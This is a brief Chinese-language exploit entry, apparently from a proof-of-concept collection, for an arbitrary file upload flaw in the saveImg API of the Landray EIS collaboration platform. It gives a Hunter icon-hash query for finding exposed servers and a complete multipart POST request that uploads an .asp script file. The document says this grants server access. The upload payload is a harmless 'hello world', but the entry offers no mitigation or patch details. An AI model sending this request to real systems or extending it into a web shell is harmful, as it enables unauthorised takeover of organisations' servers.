L1-10蓝凌-EIS智慧协同平台-文件上传

漏洞描述：

蓝凌智慧协同平台EIS以“让工作更智慧”为核心设计理念，面向成长型企业管理需求特别开发设计，旨在全面解决成长型企业的各种难题，蓝凌EIS智慧协同平台saveImg接口存在任意文件上传漏洞，攻击者通过构造特殊请求包即可获取服务器权限。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.icon=="585275a4cc54b8414554d03e1359a101"

漏洞复现：

payload：

```
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary}}
Content-Length: 198

------WebKitFormBoundary{{boundary}}
Content-Disposition:form-data;name="file"filename="a.asp"
Content-Type: text/html

<% response.write("hello world")%>
------WebKitFormBoundary{{boundary}}--
```

效果图: